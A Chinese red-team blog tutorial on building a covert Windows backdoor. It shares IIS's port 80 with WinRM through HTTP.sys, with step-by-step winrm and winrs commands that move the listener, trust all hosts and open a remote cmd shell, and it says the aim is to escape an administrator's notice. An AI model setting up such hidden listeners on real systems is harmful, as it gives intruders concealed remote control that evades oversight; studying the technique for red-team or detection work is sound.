红蓝对抗 | Windows利用WinRM实现端口复用打造隐蔽后门

2022-01-19 21:36:59 浏览数 (1)

目录

WinRM端口复用原理

端口复用配置

新增80端口监听

修改WinRM默认监听的端口

远程连接WinRM

WinRM端口复用原理

该端口复用的原理是使用Windows的远程管理服务WinRM,结合 HTTP.sys 驱动自带的端口复用功能,一起实现正向的端口复用后门。

关于WinRM服务,传送门:WinRM远程管理工具的使用

而HTTP.sys驱动是IIS的主要组成部分,主要负责HTTP协议相关的处理,它有一个重要的功能叫Port Sharing(端口共享)。所有基于HTTP.sys驱动的HTTP应用都可以共享同一个端口,只需要各自注册的URL前缀不一样。而WinRM就是在HTTP.sys上注册了 wsman 的URL前缀,默认监听 5985端口。因此,在安装了IIS的Windows服务器上,开启WinRM服务后修改默认监听端口为80或新增一个80端口的监听即可实现端口复用,通过Web端口登录Windows服务器。

使用 netsh http show servicestate 命令可以查看所有在 HTTP.sys 驱动上注册过的URL前缀。

端口复用配置

新增80端口监听

对于Windows Server 2012以上的服务器操作系统中,WinRM服务默认启动并监听了5985端口。如果服务器本来就监听了80和5985端口,则所以我们既需要保留原本的5985监听端口,同时需要新增Winrm监听80端口。这样的话,WinRM同时监听80和5985端口。既能保证原来的5985端口管理员可以正常使用,我们也能通过80端口远程连接WinRM。

通过下面的命令,可以新增WinRM一个80端口的监听。

winrm set winrm/config/service @{EnableCompatibilityHttpListener="true"}

查看监听端口,80和5985都在监听

80端口仍然可以正常访问网页

修改WinRM默认监听的端口

如果该计算机上原本没有开启WinRM服务的话,则需要将WinRm端口监听端口修改为80端口。不然管理员看到该机器开起来5985端口的话,肯定会起疑心。

快速启动WinRM

winrm quickconfig -q

修改WinRM默认端口为80

winrm set winrm/config/Listener?Address=* Transport=HTTP @{Port="80"}

查看监听端口,只有80,没有5985

配置完成之后,原本的HTTP服务可以正常访问,我们也可以通过80端口进行远程WinRM连接管理。

远程连接WinRM

本地需要连接WinRM服务时,首先也需要配置启动WinRM服务。如果是工作组环境的话,还需要设置信任连接的主机,执行以下两条命令即可。

winrm quickconfig -q

winrm set winrm/config/Client @{TrustedHosts="*"}

通过WinRM连接,并执行whoami命令

winrs -r:http://192.168.10.20 -u:administrator -p:root whoami

通过WinRM连接,并获得交互式的shell

winrs -r:http://192.168.10.20 -u:administrator -p:root cmd

来源:谢公子的博客

责编:凉粉

0 人点赞